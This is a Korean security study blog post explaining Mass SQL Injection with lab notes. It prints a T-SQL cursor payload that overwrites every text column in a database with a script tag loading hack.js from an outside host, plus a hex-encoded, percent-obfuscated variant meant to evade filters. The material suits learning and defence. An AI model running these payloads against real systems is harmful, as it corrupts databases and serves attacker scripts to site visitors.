yuil :: SecOps

[WebSec] Mass SQL Injection 본문

Web Security

[WebSec] Mass SQL Injection

yuil.lee 2025. 10. 23. 12:22
Mass SQL Injection

*Mass : 대량

 

[WebSec] Mass SQL Injection 실습

win2k쿼리 분석기# 현재 날짜, 시간 정보select getdate()# 특정 정보만 출력# dw : 요일select datepart(dw,getdate())# yy : 연도select datepart(yy,getdate())# mm, dd, hhselect datepart(mm,getdate())select datepart(dd,getdate())select dat

yu-il.tistory.com

 

Mass SQL Injection Query 예제
-- Table_name, Column_name 을 위한 변수선언
declare @t varchar(1000), @c varchar(1000)

-- Cursor 변수 선언 및 정의
declare cur cursor for
select table_name, column_name from information_schema.columnsWhere data_type like ‘%varchar%’ or data_type like ‘%text%’

-- Cursor open
open cur

-- 결과를 하나의 Row 단위로 선언된 변수에 저장
FETCH NEXT from cur into @t, @c
 

[WebSec] Mass SQL Injection 실습 - Cursor

커서 생성declare cur cursor for select user_id, user_pw from memberopen curfetch next from curclose curdeallocate curdeclare cur cursor for select user_id, user_pw from memberopen curfetch next from curfetch next from curclose curdeallocate cur declare

yu-il.tistory.com

 

-- 시스템함수를 이용하여 Cursor 가 가리키는 곳의 데이터 유무 파악
-- @@FETCH_STATUS 결과 0:데이터 존재 / 0 이외의 값: 데이터 없음While @@FETCH_STATUS = 0
Begin

-- Exec 를 통해 변수를 이용한 Update 수행
exec(‘update ’+@t+‘ set ’+@c+‘=“<script src=http://IP/hack.js></script>”’)

-- Cursor 위치 Next Row 이동
fetch next from cur into @t, @c
end

-- Cursor 메모리 해제
close cur
deallocate cur
 

[WebSec] Mass SQL Injection 실습 - Cursor 02

데이터베이스 오염 공격 실행 (커서 블록)select * from boarddeclare @t varchar(1000), @c varchar(1000)declare cur cursor for select table_name, column_name from information_schema.columnswhere data_type like '%varchar%' or data_type like '%te

yu-il.tistory.com

 

Hex Encoding 을 이용한 탐지우회기법
 

[WebSec] Mass SQL Injection 실습 - Hex Encoding

hex encoding Hex (Base16) encoder & decoderA Hex (Base16, RFC 4648) encoder and decoder. Encodes and decode anything (a text or a binary file like a sound or an image ) by copy & paste or file upload.www.hexator.comdeclare @t varchar(1000), @c varchar(1000

yu-il.tistory.com

 

Percent(%) 를 이용한 탐지우회기법

dec%lare @all varc%har(4000); set @all=0x6465636c61726520407420766172636861722831303030292c20406320766172636861722831303030290d0a6465636c6172652063757220637572736f7220666f720d0a73656c656374207461626c655f6e616d652c20636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e730d0a776865726520646174615f74797065206c696b65202725766172636861722527206f7220646174615f74797065206c696b652027257465787425270d0a6f70656e206375720d0a6665746368206e6578742066726f6d2063757220696e746f2040742c2040630d0a7768696c6520404066657463685f737461747573203d20300d0a2020626567696e0d0a202020206578656328277570646174652027202b204074202b2027207365742027202b204063202b20273d27273c7363726970743e616c657274282278737322293b3c2f7363726970743e272727290d0a202020206665746368206e6578742066726f6d2063757220696e746f2040742c40630d0a2020656e640d0a636c6f7365206375720d0a6465616c6c6f6361746520637572;e%xec(@all)

 

Mass SQL Injection 대응방안

 

[WebSec] Mass SQL Injection 대응방안

win2kmember_login_check.aspIF Len(id)>15 or Len(password)>20 Then response.write "" response.write "" response.EndEND IF Mass SQL Injection 공격은 긴 쿼리를 입력하기 때문에 id 입력 문자열 길이를 제한하는 것으로 대응이 가능

yu-il.tistory.com

 

 

반응형

'Web Security' 카테고리의 다른 글

[WebSec] File Upload 취약점  (0) 2025.10.23
[WebSec] Evading SQL Injection Filter  (0) 2025.10.23
[WebSec] Stored Procedure  (0) 2025.10.23
[WebSec] Blind SQL Injection  (0) 2025.10.22
[WebSec] SQL Injection  (0) 2025.10.20